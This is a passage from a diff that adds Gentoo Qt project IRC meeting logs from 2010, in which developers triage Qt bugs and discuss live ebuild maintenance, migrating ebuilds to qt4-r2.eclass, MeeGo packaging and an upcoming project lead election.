+[21:14:51] <hwoarang> ayoy: dont worry about other arches
+[21:14:51] <ayoy> I guess I'll branch qting-edge and work there for some time
+[21:14:57] <hwoarang> most of them wil be dropped for 4.7
+[21:14:59] *** Joins: mrpouet (~quassel@gentoo/developer/mrpouet)
+[21:15:07] <ayoy> oh!
+[21:15:12] <yngwin> what?
+[21:15:16] <mrpouet> ?
+[21:15:16] <wired> lol
+[21:15:30] <hwoarang> yngwin: at least ppc and hppa have issues
+[21:15:33] <ayoy> will Nokia stop supporting them?
+[21:15:43] <hwoarang> only arm is actively maintained by nokia
+[21:15:54] <hwoarang> plus the two big arches
+[21:16:08] <ayoy> good
+[21:16:14] <yngwin> i dont think we need to drop keywords
+[21:16:22] <hwoarang> we can be sure now since i doubt that anyone beyong amd64/x86 is testing Qt4.7 on gentoo
+[21:16:24] <yngwin> unless there are specific problems
+[21:16:27] <ayoy> sure, we can just wait for bugs
+[21:16:34] <hwoarang> so ayoy can work on qt4-build-edge eclass without branching it
+[21:16:53] <ayoy> I'd better branch it anyway :P
+[21:17:00] <hwoarang> yngwin: we wont be we wont be able to fix arch-specific issues when they appear
+[21:17:08] <ayoy> then once I have something I'll present it on the ml
+[21:17:17] <ayoy> or in a merge request, wow :)
+[21:17:23] <wired> hahah
+[21:17:23] <hwoarang> ok
+[21:17:26] <wired> :D
+[21:17:32] <tampakrap> lol
+[21:17:35] <yngwin> hwoarang: not in overlay, but we can have arches test the in tree ebuilds/eclass
+[21:17:51] <hwoarang> sure
+[21:18:40] <yngwin> most of the problems are in webkit
+[21:19:05] <wired> are we done with this bug?
+[21:19:11] <ayoy> kinda :)
+[21:19:19] <wired> great. speaking of webkit
+[21:19:22] <yngwin> ok, ayoy will work on this
+[21:19:27] <wired> bug 292337
+[21:19:29] <ohnobinki> :-)
+[21:19:31] <willikins> wired: https://bugs.gentoo.org/292337 "x11-libs/qt-webkit-4.5.3 requires dbus or not?"; Gentoo Linux, Applications; REOP; tot-to@tot-to.com:qt@g.o
+[21:19:34] <wired> i tested this
+[21:19:38] <wired> (altho i havent commented)
+[21:19:40] <wired> (yet)
+[21:19:43] <yngwin> and?
+[21:19:48] <wired> webkit does not need dbus
+[21:19:55] <wired> arora works fine without qt-dbus around
+[21:19:59] <yngwin> ok, so we can make it optional
+[21:20:38] <hwoarang> fine
+[21:20:51] <yngwin> ok, what about bug 300594
+[21:20:53] <willikins> yngwin: https://bugs.gentoo.org/300594 "QMAKESPEC for amd64: linux-g++-64 or linux-g++?"; Gentoo Linux, Applications; NEW; pva@g.o:qt@g.o
+[21:21:29] <ayoy> well, the thing is that Qt's configure would select linux-g++-64 when ran by hand
+[21:21:43] <ayoy> we can follow it
+[21:21:55] <ayoy> however Debian and Ubuntu don't
+[21:22:08] <ayoy> and they set linux-g++ as default
+[21:22:31] <ayoy> pva states that setting -64 would break multilib-portage
+[21:22:46] <ayoy> but I doubt, because it will be easily fixable in eqmake4
+[21:22:52] <hwoarang> whats the pros and cons
+[21:22:54] <hwoarang> i dont understand
+[21:23:24] <ayoy> hwoarang: that's really good question!
+[21:23:34] <yngwin> debian guys usually know what they're doing
+[21:23:38] <ayoy> because it doesn't matter from portage's point of view
+[21:23:57] <yngwin> we have g++ now, right?
+[21:23:58] <ayoy> portage overrides C(XX)FLAGS anyway
+[21:24:00] <ayoy> yes
+[21:24:06] <ayoy> I think we can stick to it
+[21:24:08] <yngwin> so i'd say we keep that
+[21:24:11] <ayoy> less troubles for us
+[21:24:15] <ayoy> cool
+[21:24:21] <hwoarang> i cant comment on the bug cause I am missing the whole point
+[21:24:24] <hwoarang> ayoy: can you?
+[21:24:30] <ayoy> sure :)
+[21:24:32] <hwoarang> ok
+[21:25:15] <yngwin> ok, next?
+[21:25:36] <yngwin> b. regressions 4.6.1→4.6.2
+[21:25:53] <hwoarang> only one
+[21:25:56] <hwoarang> the qt-creator
+[21:26:05] <hwoarang> bug 308563
+[21:26:08] <willikins> hwoarang: https://bugs.gentoo.org/308563 "qt-creator-1.[2-3].1 very slow sto start and closing"; Gentoo Linux, Development; NEW; maialovic@gmail.com:qt@g.o
+[21:26:17] <hwoarang> which might be unrelated to Qt
+[21:26:21] <yngwin> wasnt that solved with the rss useflag?
+[21:26:53] <hwoarang> thats kinda different
+[21:26:58] <hwoarang> the delay is huge
+[21:27:00] <hwoarang> 2-3 minutes
+[21:27:05] <hwoarang> comment #1: For me it's worse: it takes minutes and then crashes.
Thanks for the hint on downgrading: with 4.6.1 it's fine.

+[21:27:15] <yngwin> ok
+[21:27:21] <yngwin> is this reported upstream?
+[21:27:29] <spatz> maybe it's a matter of rebuilding?
+[21:27:44] <hwoarang> i dont know yet
+[21:27:46] <hwoarang> there is this bug
+[21:27:46] <hwoarang> For me it's worse: it takes minutes and then crashes.
Thanks for the hint on downgrading: with 4.6.1 it's fine.

+[21:27:49] <hwoarang> sorry
+[21:27:52] <hwoarang> http://bugreports.qt.nokia.com/browse/QTCREATORBUG-315
+[21:28:20] <hwoarang> i need to work on this bug asking for rss/doc use flag status etc
+[21:28:29] <yngwin> ok last comment there is hopeful
+[21:28:45] <hwoarang> but some ppl are still using 4.6.1
+[21:28:50] <yngwin> anyway, this is a reason to keep 4.6.1 around a little longer
+[21:29:09] <hwoarang> yes plz
+[21:29:23] <yngwin> ok, so keep 4.6.1 until this bug is solved
+[21:29:43] <hwoarang> thanks
+[21:29:53] <yngwin> any other bugs we need to look at?
+[21:30:38] <hwoarang> we have some rendering related bugs
+[21:31:04] <yngwin> does someone want to look at bug 295342?
+[21:31:07] <willikins> yngwin: https://bugs.gentoo.org/295342 "x11-libs/qt-sql-4.6.0 can use libiodbc instead of unixODBC"; Gentoo Linux, Library; NEW; galtgendo@o2.pl:qt@g.o
+[21:31:24] <yngwin> it looks quite simple
+[21:31:52] <hwoarang> any benefit? i am not familiar with this
+[21:32:01] <yngwin> me neither
+[21:32:24] <hwoarang> It's a fallback if there's no unixODBC.

+[21:32:34] <hwoarang> so unixODBC should be the first choice
+[21:32:50] <hwoarang> so it is just a matter of a header inclusion?
+[21:33:00] * leio idly notes that you guys have no idea about UTC time ;p
+[21:33:15] * leio realizes that this might be a Qt meeting, and a KDE meeting is at 20:00 UTC and shuts up
+[21:33:21] <wired> leio: :D
+[21:33:21] <hwoarang> :
+[21:33:23] <hwoarang> :p
+[21:33:25] <yngwin> lol
+[21:33:29] <wired> leio: at least you realised quickly :D
+[21:33:54] <ayoy> :)
+[21:33:59] <yngwin> hwoarang: it's another choice, we could make a useflag for it
+[21:34:40] <hwoarang> do we need to do that? since it is a fallback it will use it when needed?
+[21:34:49] <hwoarang> and if somebody wants it prob it wont have unixODBC 
+[21:35:30] <yngwin> well, there is the header inclusion, and probably a dependency that needs to be adjusted
+[21:36:05] <hwoarang> true
+[21:36:07] <yngwin> i can look into it for 4.7
+[21:36:25] <yngwin> ok, let's move on
+[21:36:33] <yngwin> what rendering bugs?
+[21:36:34] <hwoarang> ok
+[21:36:58] <hwoarang> bug 307745 and bug 306603
+[21:37:01] <willikins> hwoarang: https://bugs.gentoo.org/307745 "qt4.6.2: taskbar items has a shadow sibling"; Gentoo Linux, Applications; NEW; toralf.foerster@gmx.de:qt@g.o
+[21:37:07] <hwoarang> bug 306603
+[21:37:10] <willikins> hwoarang: https://bugs.gentoo.org/306603 "x11-libs/qt-gui: Bolden text for missing font styles."; Gentoo Linux, Applications; NEW; voidprayer@gmail.com:qt@g.o
+[21:37:12] <yngwin> there is also bug 294031, but that looks to be an upstream issue
+[21:37:14] <willikins> yngwin: https://bugs.gentoo.org/294031 ">media-video/vlc-1.0.0, media-video/smplayer-0.6.8, >media-tv/mythtv-0.21 problems with opengl context (cairo-dock)"; Gentoo Linux, Applications; NEW; nebojsa@asnn.org:qt@g.o
+[21:37:51] <yngwin> i think all these should be taken upstream, let's see what they say
+[21:38:06] <yngwin> any volunteers?
+[21:38:30] <hwoarang> i can ask them to take it themselves
+[21:39:10] <yngwin> ok
+[21:39:49] <hwoarang> moving on?
+[21:40:08] <tampakrap> first bug should be reported to plasma first i guess
+[21:40:41] <yngwin> yeah good call
+[21:40:46] <hwoarang> right
+[21:40:58] <yngwin> 3. status of live ebuilds
+[21:41:00] <tampakrap> they will guide the user and us if it is a qt bug
+[21:41:44] <tampakrap> and second one contains patches that should be reviewed by us and taken upstream
+[21:41:44] <yngwin> hwoarang: you wanted to say something about live?
+[21:41:53] <tampakrap> that's all sorry for the noise :)
+[21:41:58] <yngwin> np
+[21:42:05] *** Joins: dagger (~quassel@gentoo/developer/dagger)
+[21:42:13] <hwoarang> yngwin: are we on 4?
+[21:42:25] <yngwin> [20:40:04] <yngwin> 3. status of live ebuilds
+[21:42:32] <hwoarang> ok
+[21:42:33] <hwoarang> so
+[21:43:02] <hwoarang> a month ago asked you to add your self here http://gitorious.org/gentoo-qt/pages/Qt4%20live%20ebuilds so I would know who maintains what
+[21:43:10] <tampakrap> about live ebuilds i want to say first that i have hardware issues i hope they will be fixed next week and i'll start taking care of 4.6.9999[kde-qt] ebuilds again
+[21:43:13] <hwoarang> so is it me and Ben only?
+[21:43:34] <tampakrap> that's why i didn't add myself yet
+[21:44:02] <hwoarang> plus I consider 4.9999 as the most important version
+[21:44:16] <hwoarang> because every 4.X is based on that and the ebuilds should be fully working
+[21:44:27] <hwoarang> otherwise we spend hours fixing 4.X and 4.9999 packages
+[21:44:34] <tampakrap> yes i could upgrade np
+[21:44:37] <yngwin> we could probably sync 4.9999 with 4.79999
+[21:44:42] <hwoarang> so either we need to actively take care of 4.9999 or drop it
+[21:44:50] <wired> i used to test live but i havent even touched it lately
+[21:44:50] <hwoarang> yngwin: they are 90% synced
+[21:44:55] <hwoarang> we synced them now
+[21:45:00] <yngwin> ok
+[21:45:03] <hwoarang> before we push 4.7.9999 
+[21:45:11] <hwoarang> but they will br b0rked again when Qt moves to 4.8
+[21:45:20] <tampakrap> as they should
+[21:45:31] <hwoarang> if nobody cares about 4.9999 we can at least mask it
+[21:45:46] <ayoy> well, I can try it
+[21:45:48] <wired> there is no need to mask live ebuilds, they are expected to fail
+[21:45:51] <ayoy> at least I can compile it in chroot
+[21:45:55] <ayoy> to verify that it builds
+[21:45:56] <hwoarang> wired: failed by upsteram
+[21:45:58] <hwoarang> *upstream
+[21:46:09] <hwoarang> but we are talking abuot packaging failures now
+[21:46:11] <wired> but i might give it a try at some point, no guarantees
+[21:46:21] <hwoarang> a build on a chroot is fine
+[21:46:22] <tampakrap> live ebuilds shouldn't be masked i agree
+[21:46:30] <hwoarang> to verify that the ebuilds are in a sane status
+[21:46:46] <hwoarang> again: they should be masked if the packages are b0rked
+[21:46:48] <wired> masking live ebuilds is annoying. let it fail and users will open bugz :p
+[21:46:54] <hwoarang> i am not talking about upstream failures
+[21:47:04] <hwoarang> so 
+[21:47:04] <wired> bugs are motivators
+[21:47:05] <wired> :)
+[21:47:10] <ayoy> :)
+[21:47:14] <hwoarang> if they open bugs we wont fix them
+[21:47:17] <hwoarang> since we dont use 4.9999
+[21:47:23] <yngwin> well, it looks like we have no 4.9999 users, i havent seen any reports about our ebuilds being broken
+[21:47:27] <tampakrap> every failure in live ebuilds isn't a reason for masking
+[21:47:31] <hwoarang> we should at least let them know that we aint using .49999
+[21:47:49] <hwoarang> tampakrap: how are you gonna fix them?
+[21:48:05] <wired> yngwin: i guess its hard to use a live library :)
+[21:48:08] <tampakrap> live ebuilds are supposed to be broken/experimental
+[21:48:16] <hwoarang> no
+[21:48:24] <hwoarang> i am expecting 4.7.9999 to be fully working
+[21:48:30] <spatz> doesn't Sput use it?
+[21:48:35] <yngwin> the code is supposed to be experimental, but the ebuilds should work
+[21:48:39] <hwoarang> ^^
+[21:48:41] <ayoy> spatz: I was about to suggest him :D
+[21:48:45] <hwoarang> Sput is using 4.7.9999 -stable-branch
+[21:48:46] <yngwin> Sput is on 4.7.9999 now
+[21:48:54] <spatz> move him then :)
+[21:48:57] <hwoarang> the ebuilds must be OK
+[21:49:06] <hwoarang> no matter what is the status of upstream repo
+[21:49:26] <Sput> 4.7.9999 has no regressions with KDE trunk that I've noticed
+[21:49:34] <Sput> there's a regression in Quassel which I've fixed earlier today
+[21:49:39] <hwoarang> i couldnt build kde-4.4.1 today
+[21:49:44] <yngwin> well, i can look into syncing the ebuilds, but i'm not going to test 4.9999, i'm sticking with 4.7.9999
+[21:49:48] <hwoarang> because of some QString class definitions errors
+[21:50:13] <hwoarang> yngwin: now 4.7 and 4.9999 should be identical
+[21:50:20] <hwoarang> however they are not 
+[21:50:25] <Sput> there is one binary incompatible change in Qt that affects some KDE programs that thiago has fixed in master at least, not sure if it affects older KDE versions though
+[21:50:28] <hwoarang> now it is a good time to sync them once and for all
+[21:50:42] <yngwin> yeah, i can fix that for now, but someone else should pick up maintenance
+[21:50:45] <Sput> s/master/KDE trunk/
+[21:50:56] <hwoarang> yngwin: i will setup a chroot and start building it
+[21:51:02] <yngwin> ok
+[21:51:09] <Sput> in any case, I can't build assistant-4.7.9999
+[21:51:13] <Sput> it fails linking here.
+[21:51:17] <hwoarang> -stable-branch?
+[21:51:23] <Sput> it also builds some parts of corelib and qtxml
+[21:51:25] <Sput> yes
+[21:51:30] <hwoarang> afaik nobody uses -stable-branch now
+[21:51:31] <hwoarang> :/
+[21:51:35] <Sput> but it shouldn't be building corelibs
+[21:51:37] <hwoarang> ^^yet another problem
+[21:51:42] <tampakrap> i used to
+[21:51:43] <Sput> that looks like an ebuild bug
+[21:51:47] <hwoarang> prob
+[21:51:49] <yngwin> yeah, we should look into that
+[21:52:09] <Sput> it then can't link to QtGui because of a missing symbol, no idea where that comes from
+[21:52:57] <yngwin> ok, anything else on live?
+[21:53:24] <tampakrap> i'll fix my machine and report back on next meeting
+[21:53:43] <yngwin> ok
+[21:53:46] <yngwin> tnx
+[21:53:50] <yngwin> 4. what else needs to go into our faq?
+[21:54:03] <yngwin> i dont know if you guys saw what i put in the repo
+[21:54:08] <hwoarang> i did
+[21:54:11] <tampakrap> yes good work
+[21:54:21] <yngwin> :)
+[21:54:23] <tampakrap> did you mention it in the project space? i didn't look at it
+[21:54:31] <yngwin> not yet
+[21:54:36] *** Quits: spatz (~spatz@gentoo/developer/spatz) (Ping timeout: 276 seconds)
+[21:54:48] <hwoarang> yngwin: what is this faq for?
+[21:54:55] <hwoarang> what is the target group?
+[21:54:59] <yngwin> users
+[21:55:02] <hwoarang> everybody?
+[21:55:02] <tampakrap> for users asking what the faq is going on
+[21:55:09] <hwoarang> if so
+[21:55:13] <yngwin> like stuff that keeps getting asked on the forums and irc
+[21:55:18] <hwoarang> we can add infos about the live pacakges
+[21:55:24] <tampakrap> yes nice idea
+[21:55:31] <hwoarang> like "Which version of Qt should I pick"
+[21:55:33] <yngwin> sure
+[21:55:43] <yngwin> do you want to write something up?
+[21:55:48] <hwoarang> "Can I downgrade Qt"
+[21:55:55] <yngwin> ah thats a good one
+[21:55:59] <hwoarang> i might come up with something
+[21:56:39] <hwoarang> well qt-qt3support and blockes are the most common
+[21:56:42] <hwoarang> so we should be fine
+[21:57:00] <tampakrap> ok just add it in project space
+[21:57:02] <yngwin> ok, feel free to add stuff
+[21:57:07] <tampakrap> btw we have qt.gentoo.org now :)
+[21:57:14] <yngwin> yeah nice
+[21:57:22] <ayoy> :)
+[21:57:37] <hwoarang> are we done?
+[21:57:42] <hwoarang> can we drop 4.5.3 btw?
+[21:57:45] <yngwin> hm, we need a rst2guidexml
+[21:57:54] <tampakrap> why?
+[21:57:56] <tampakrap> leave it there
+[21:58:00] <yngwin> i'd say keep 4.5.3 around for now
+[21:58:18] <hwoarang> ok
+[21:58:20] <tampakrap> (i'm talking about rsr2guidexml)
+[21:59:30] <tampakrap> are we done?
+[21:59:43] <hwoarang> i think so 
+[21:59:49] <wired> right on time
+[21:59:54] <yngwin> anything else?
+[22:00:09] *** Quits: willikins (~rbot@gentoo/bot/Willikins) (Read error: Operation timed out)
+[22:00:17] <yngwin> ok, thanks guys
+[22:00:20] <ayoy> thanks a lot!
+[22:00:22] <yngwin> ====================================
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100415.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100415.txt
new file mode 100644
index 00000000..9d723d53
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100415.txt
@@ -0,0 +1,376 @@
+[20:39:28] <yngwin> Qt meeting @ 1800 UTC today, KDE meeting @ 1900
+[20:40:06] *** nirbheek changes topic to 'Gentoo meetings | April 15th: Qt meeting @ 1800 UTC, KDE meeting @ 1900 UTC'
+[20:40:26] * nirbheek wonders if gnome should have a meeting sometime soon
+[20:40:58] <yngwin> tnx
+[20:41:05] <nirbheek> yw
+[20:42:31] *** Joins: ayoy (~ayoy@244-133.lodz.mm.pl)
+[20:42:31] *** Quits: ayoy (~ayoy@244-133.lodz.mm.pl) (Changing host)
+[20:42:31] *** Joins: ayoy (~ayoy@gentoo/developer/ayoy)
+[20:47:02] *** Joins: spatz (~spatz@gentoo/developer/spatz)
+[20:58:14] * hwoarang is going to make a cup of hot hot hot coffee
+[20:59:37] * yngwin is drinking one already :)
+[21:01:57] <spatz> looks like a short one today
+[21:02:56] <hwoarang> i doubt :)
+[21:03:29] <spatz> aaaaaaaand .....
+[21:03:33] <spatz> here we go :D
+[21:03:42] <ayoy> helow
+[21:03:54] <spatz> indeed
+[21:04:02] <spatz> !herd qt
+[21:04:03] <willikins> (qt) abcd, ayoy, hwoarang, spatz, ssuominen, tampakrap, wired, yngwin
+[21:04:10] <bonsaikitten> OHAI
+[21:04:34] <pesa> hi guys
+[21:04:50] <yngwin> ok, meeting is starting, agenda is at http://gitorious.org/gentoo-qt/pages/Meeting20100415
+[21:04:51] <spatz> elo
+[21:05:00] <yngwin> rollcall" is everyone here?
+[21:05:13] <spatz> here
+[21:05:27] * pesa here
+[21:05:31] * yngwin here
+[21:05:38] * hwoarang here
+[21:05:42] * ayoy here
+[21:05:51] <hwoarang> abcd absent
+[21:05:57] <hwoarang> waiting for wired and tampakrap
+[21:06:03] <hwoarang> anyone else?
+[21:06:04] <spatz> and ssuominen
+[21:06:18] * nirbheek is absent
+[21:06:21] <hwoarang> ah i wasnt aware that he was in qt project :)
+[21:07:24] <yngwin> yes he joined a little while ago, as he was helping so much anyway (with qt3 removal for example)
+[21:09:19] <yngwin> well, let's start
+[21:09:32] <spatz> only half the people are here :/
+[21:09:32] <yngwin> 1. migrating ebuilds to qt4-r2.eclass
+[21:09:49] <yngwin> yes, apparently they couldnt make it in time
+[21:09:56] <hwoarang> lets move on
+[21:10:27] <yngwin> anyway, any ideas on tackling the ebuilds with old qt4.eclass
+[21:10:51] <hwoarang> bug 311481
+[21:10:53] <willikins> hwoarang: https://bugs.gentoo.org/311481 "[tracker] Migrate ebuilds from qt4.eclass to qt4-r2.eclass usage"; Gentoo Linux, Ebuilds; NEW; yngwin@g.o:qt@g.o
+[21:11:00] <hwoarang> http://dev.gentoo.org/~wired/checks/qt4.eclass.html
+[21:11:27] <hwoarang> mmmm
+[21:11:36] <spatz> many bugs need filing
+[21:11:39] <hwoarang> how should we deal with this
+[21:11:40] <ayoy> yeah
+[21:11:50] <yngwin> what i started to do is work on some ebuild and ask the maintainer for ok to commit or otherwise submitting a patch
+[21:11:54] <hwoarang> why? cant we do it silently?
+[21:12:08] <ayoy> it depends on maintainers' attitude I guess
+[21:12:30] <yngwin> you need to ask maintainers, as it often is also migrating to eapi2/3
+[21:12:31] <hwoarang> errr opening like 80 bugs wont work
+[21:12:31] <ayoy> cause we don't have policy on touching others' ebuilds, right?
+[21:12:32] <spatz> like ABCD does with all his prefix stuff
+[21:12:49] <yngwin> he does ask, usually
+[21:12:59] <spatz> sure, that's what I meant
+[21:13:12] <yngwin> ayoy: right, council rejected the proposal
+[21:13:19] <hwoarang> what about an email on -dev
+[21:13:26] <ayoy> what about filing bugs with readymade patches?
+[21:13:29] <hwoarang> asking the to check the list, fix the ebuild withing the next 60days
+[21:13:50] <hwoarang> *them
+[21:14:02] <spatz> I like the first approach better
+[21:14:08] *** Joins: lazevedo (~lucasazev@200.129.46.206)
+[21:14:19] <ayoy> the first is easier for us, of course :)
+[21:14:23] <hwoarang> yes  but how are we gonna prepare 80 patches?
+[21:14:28] <yngwin> you can do both
+[21:14:31] <ayoy> aaa, this "first" :P
+[21:14:41] <yngwin> ask on dev ml for maintainers to look at this
+[21:15:08] <yngwin> then start doing patches yourself when maintainers take too long
+[21:15:14] <ayoy> I think that maintainers not necessarily have to realize the changes between qt4.eclass and qt4-r2
+[21:15:14] <hwoarang> honestly I want to let the maintainers do all the work
+[21:15:23] <lazevedo> has the qt meeting started? :)
+[21:15:27] <hwoarang> yes
+[21:15:30] <ayoy> so it will take less time for us
+[21:15:31] <yngwin> hwoarang: that will take years
+[21:15:33] <bonsaikitten> give them a month, then start fixing yourself
+[21:15:42] <ayoy> bonsaikitten++
+[21:15:47] <hwoarang> what bonsaikitten and yngwin  said ^^
+[21:15:53] <hwoarang> 60 days. Then we touch them
+[21:15:55] <spatz> you'd need bugs for that, imo
+[21:15:56] <ayoy> like sping did with migrating packages to dev-vcs
+[21:15:57] <bonsaikitten> might not be the popular method, but that's how you fix things
+[21:16:44] <yngwin> i find that often it is ok if you ping maintainers on irc, especially if you can show a patch
+[21:17:05] <ayoy> yeah, I like the idea of patching by us
+[21:17:12] <ayoy> if we care about this issue, we;re gonna fix it
+[21:17:19] <yngwin> if they dont react, you can file a bug, with the notice "to be applied in 7 days unless you object"
+[21:17:25] <ayoy> maintainers don't have to care about this thing as much as we do :)
+[21:17:42] <spatz> +1
+[21:17:50] <ayoy> "this thing" being migrating qt4->qt4-r2
+[21:17:55] <spatz> pretty much what was first suggested, so ok
+[21:18:28] <yngwin> ok, all agreed?
+[21:18:53] <hwoarang> ok
+[21:18:58] <ayoy> pretty much yes, but can you sum it up? :)
+[21:20:04] *** Joins: joost_op (~joost@gentoo/contributor/joost-op)
+[21:20:21] <yngwin> 1) send dev ml a notice about the migration, asking maintainers to cooperate, and 2) start making patches, ping maintainers on irc for ok, if no reaction file bug that you will apply it in 7 days unless there are objections
+[21:20:40] <ayoy> cool
+[21:20:45] <hwoarang> fine
+[21:21:00] <joost_op> yngwin, Can I read the logs after this somewhere, I have to leave
+[21:21:20] <yngwin> yes, we put up logs of every meeting
+[21:21:25] <joost_op> thanks
+[21:21:27] <joost_op> cheers all
+[21:21:32] <spatz> next subject?
+[21:21:36] <yngwin> 2. meego ebuilds and status update
+[21:21:57] <ayoy> I have one small info here
+[21:21:58] <yngwin> a start has been made on meego packages
+[21:22:05] <yngwin> yes?
+[21:22:07] *** Joins: Thev00d00 (~v00d00@unaffiliated/thev00d00)
+[21:22:14] <ayoy> libdui, that I've recently added
+[21:22:20] <ayoy> has ben renamed as libmeegotuoch
+[21:22:28] <ayoy> however it's not yet tagged
+[21:22:33] <ayoy> *libmeegotouch
+[21:22:39] <yngwin> ok
+[21:22:41] <ayoy> so I'm waiting with changes to ebuilds
+[21:23:01] <hwoarang> meego has recently made the repos public
+[21:23:03] <yngwin> i've also invited some people from sabayon who are interested in packaging these
+[21:23:17] <pesa> i've seen more recent tags in libdui git however
+[21:23:33] <pesa> and also in other packages
+[21:23:33] <ayoy> pesa: true, but renaming occured on moday iirc
+[21:23:42] <pesa> ah i see
+[21:23:52] <ayoy> anyway, we're after the API/ABI unfreeze period
+[21:23:57] <ayoy> and this stuff is mostly broken
+[21:23:58] <ayoy> :)
+[21:24:14] <ayoy> there's huge amount of changes between 0.19 and 0.20
+[21:24:20] <yngwin> so i take it you guys will keep an eye on this and cooperate on ebuilds?
+[21:24:37] <ayoy> sure, I guess so
+[21:24:47] <hwoarang> http://meego.gitorious.org/
+[21:25:03] <hwoarang> there are many projects there. Do you know which of them are useful to us?
+[21:25:20] <ayoy> not really actually
+[21:25:22] <hwoarang> cause I dont
+[21:25:25] *** Joins: pontecorvo (~solshark@93-183-241-28-dynamic.retail.datagroup.ua)
+[21:25:39] <ayoy> I have to take a lok at it
+[21:25:58] <ayoy> since at least libdui is still at qt.gitorious.org
+[21:26:00] * hwoarang is confused with all the meego thingie
+[21:26:12] <ayoy> hwoarang: Nokia is confused about this, believe me :)
+[21:26:29] <yngwin> it may also be a good idea to follow discussions in #meego, the meego MLs and forums
+[21:26:38] <hwoarang> i am following -dev
+[21:26:45] <hwoarang> but there is too much info there
+[21:26:47] <alexxy> hi all!
+[21:26:55] <hwoarang> see my note on agenda
+[21:27:15] <hwoarang> dividing qt to work groups
+[21:27:35] <yngwin> i was planning to look into taking part in meego itself, so i may be more informed about this in the future :)
+[21:27:38] <yngwin> hi alexxy
+[21:27:44] <hwoarang> i cant follow all the changes in Qt libs + meego + qt apps. I was wondering if it would make sense to create some workgroups
+[21:27:59] <ayoy> hwoarang: what is it about? to define responsibility areas across qt ebuilds?
+[21:28:00] <yngwin> i think it is very early days still
+[21:28:19] <hwoarang> ayoy: some of use to focus on Qt libs, others on meego etc
+[21:28:26] <ayoy> sure
+[21:28:32] <hwoarang> cause it is somehow impossible to work on all those things
+[21:28:51] <hwoarang> those groups will be flexible ofc
+[21:28:55] <yngwin> we already work on different things
+[21:29:02] <hwoarang> do we?
+[21:29:09] <yngwin> until recently i never really touched the live ebuilds
+[21:29:33] <yngwin> i tend to maintain certain apps, you others
+[21:30:03] <hwoarang> well
+[21:30:08] <yngwin> i'm not sure if it is needed to formalize this in workgroups/subprojects
+[21:30:26] <spatz> imo, no need for more bureaucracy, people just work on what they like
+[21:30:29] <hwoarang> ok so who is working on meego? just ayoy atm ?
+[21:30:39] <ayoy> it seems so
+[21:30:46] <lazevedo> i would like to work on meego, too
+[21:30:58] <ayoy> but well, I didn't look at meego.gitorious.org at all :P
+[21:31:00] <lazevedo> though i don't have experience on packaging
+[21:31:04] <ayoy> but yeah, I'm interested
+[21:31:08] <yngwin> but i do think it is good to document who is working on what in the wiki or somewhere
+[21:31:18] <yngwin> like we have done with live ebuilds
+[21:31:24] <hwoarang> yngwin: yes 
+[21:31:35] <hwoarang> i think it is good to know who is focusing on what
+[21:31:41] * yngwin agrees
+[21:31:46] <ayoy> wiki page?
+[21:31:46] <hwoarang> so we know who to ask about specific bugs
+[21:31:51] <hwoarang> wiki on gitorious
+[21:31:58] <yngwin> also to make sure everything is covered
+[21:32:12] <yngwin> not like some herds which go inactive and nobody notices
+[21:32:20] <hwoarang> ofc
+[21:32:48] <hwoarang> In my mind, we have to major areas ( Qt libs + Megoo ) + 1 common ( qt4 apps )
+[21:32:52] <yngwin> ayoy: like http://gitorious.org/gentoo-qt/pages/Qt4%20live%20ebuilds
+[21:32:56] <hwoarang> *s/to/two
+[21:34:19] <ayoy> hwoarang: qt4-apps is quite huge
+[21:34:28] <yngwin> lazevedo: you're welcome to help, there are enough people here who can answer any questions you might have
+[21:34:34] <ayoy> there's also PyQt and pyside
+[21:34:47] <pesa> yep
+[21:34:55] <ayoy> pyside with its deps is lots of work sometimes
+[21:34:56] <lazevedo> thanks yngwin
+[21:34:58] <hwoarang> ayoy: regarding qt4-apps each one of us maintains certain packages. So we can leave this aside
+[21:35:05] <ayoy> lazevedo: we can talk about meego later
+[21:35:07] <ayoy> if you like
+[21:35:11] <lazevedo> ayoy: sure
+[21:35:12] <ayoy> hwoarang: sure
+[21:35:17] <hwoarang> i have no idea about pyside
+[21:35:25] <ayoy> hwoarang: I have an idea :P
+[21:35:32] <yngwin> lazevedo: you're always welcome in #gentoo-qt
+[21:35:46] <hwoarang> PyQt4+sip are in a good shape. Snapshots + tree packages are working fine
+[21:35:47] <lazevedo> yngwin: ty :)
+[21:36:00] <hwoarang> python herd touches tree packages as well
+[21:36:41] <hwoarang> i wouldnt worry about the so much. They dont require much hardware resources or time to maintain them  :)
+[21:36:46] <hwoarang> *them
+[21:36:53] <yngwin> anything else we need to decide about meego ebuilds now?
+[21:37:01] * hwoarang stupid lag with woodpecker
+[21:37:15] <hwoarang> yngwin:  I guess not.
+[21:37:16] <ayoy> I don't think so
+[21:37:27] <ayoy> we can pacakge everything :)
+[21:37:38] <hwoarang> ayoy: pleae send us an email on qt@ when you have meego on working state
+[21:37:44] <ayoy> hwoarang: sure
+[21:37:56] <yngwin> ok, so to summarize: we'll look into what is interesting for us to package, and we'll document who is working on what
+[21:38:08] <hwoarang> right
+[21:38:22] <pesa> sounds good
+[21:39:02] <yngwin> alright? any other comments on this subject?
+[21:39:37] <hwoarang> i guess not
+[21:39:38] <lazevedo> well, i have never packaged anything, so i don't think i can add anything for now :b
+[21:39:47] <yngwin> then 3. call for candidates for project lead (elections next meeting)
+[21:39:52] <ayoy> lazevedo: we'll teach you if you want
+[21:39:56] *** reavertm_ is now known as reavertm
+[21:40:04] <hwoarang> lazevedo: http://devmanual.gentoo.org
+[21:40:06] <hwoarang> good place to start
+[21:40:08] <ayoy> :)
+[21:40:09] <lazevedo> ayoy: sure
+[21:40:15] <lazevedo> ty hwoarang
+[21:40:24] <hwoarang> yngwin: ok elections :)
+[21:40:26] <lazevedo> i'll bookmark it and read it when i get home
+[21:40:27] <spatz> please do that after the meeting
+[21:40:28] <yngwin> next month it will be one year since we had our last "elections", so it is time again
+[21:40:39] <hwoarang> ok cool
+[21:41:11] <hwoarang> yngwin: what is your thoughts about this
+[21:41:16] <hwoarang> *s/is/are
+[21:41:29] <hwoarang> !devaway yngwin 
+[21:41:29] <willikins> hwoarang: yngwin:  minimally active, reconsidering options @ 2010/04/13 13:53Z
+[21:41:31] <yngwin> so anyone who wants to volunteer for that job, can be a candidate and next meeting the qt project members will vote
+[21:41:49] <yngwin> unless you want to organize it in a different way
+[21:41:56] <spatz> devaway? why?
